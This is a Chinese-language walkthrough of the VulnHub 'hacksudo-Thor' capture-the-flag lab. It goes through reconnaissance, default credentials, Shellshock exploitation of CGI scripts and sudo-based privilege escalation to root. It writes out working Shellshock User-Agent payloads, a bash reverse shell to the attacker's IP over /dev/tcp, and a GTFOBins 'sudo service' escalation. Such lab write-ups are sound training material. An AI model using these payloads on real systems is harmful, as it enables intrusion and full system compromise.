一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hacksudo-Thor(10.0.2.49)
目标:获取靶机root权限和flag
靶机下载地址:https://download.vulnhub.com/hacksudo/hacksudo—Thor.zip
二、信息收集
使用nmap主机发现靶机ip:10.0.2.49
使用nmap端口扫描发现,靶机开放端口:21、22、80
打开网站发现是一个登录页面
使用gobuster和dirsearch工具对该网站进行目录爆破,发现两个页面/admin_login.php、/README.md
gobuster dir -u http://10.0.2.49 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirsearch -u http://10.0.2.49 /usr/share/wordlists/dirb/big.txt
在/README.md
文件发现默认用户名密码:admin:password123
我们尝试登录后台,登录成功
三、漏洞利用
在后台发现一些用户名密码,可以尝试登录ssh,但都失败
jon:snow123
zakee94:nafees123
salman:salman123
tushar:tushar123
网站的后台未发现文件上传或命令执行的功能点,尝试抓包,使用sqlmap把数据交互的地方都跑一遍,发现在搜索客户的功能点处存在sql时间盲注
但翻了一翻数据库未发现什么有用的信息
好吧,看了一下其他大佬的wp,该网站存在破壳漏洞,这个漏洞还没有遇到过
破壳漏洞成因:bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等。
使用dirsearch工具扫描cgi和sh后缀的文件
dirsearch -u http://10.0.2.49/cgi-bin/ -f -e cgi,sh
发现/cgi-bin/backup.cgi
和/cgi-bin/shell.sh
使用nmap脚本进行破壳漏洞探测,发现backup.cgi存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 10.0.2.49
使用nmap脚本进行破壳漏洞探测,发现shell.sh也存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 10.0.2.49
在User-Agent添加破壳漏洞的payload,执行命令
() { test;};echo; echo shellshock;/bin/bash -c 'id'
反弹shell
() { test;};echo; echo shellshock;/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以thor权限运行hammer.sh脚本
运行/home/thor/./hammer.sh
脚本,发现输入shell命令,该脚本会直接执行
sudo -u thor /home/thor/./hammer.sh
直接获取thor用户的shell
bash -p
python -c 'import pty; pty.spawn("/bin/bash")'
使用sudo -l
命令查看一下thor用户具有sudo
权限的程序,发现可以无密码以root权限运行cat命令和service命令
搜索这些命令的用法service | GTFOBins,发现service命令可以直接获取shell
sudo service ../../bin/sh
获取flag
参考链接:vulnhub靶场-hacksudo - Thor_靶机信息:39.104.60.50:18634-CSDN博客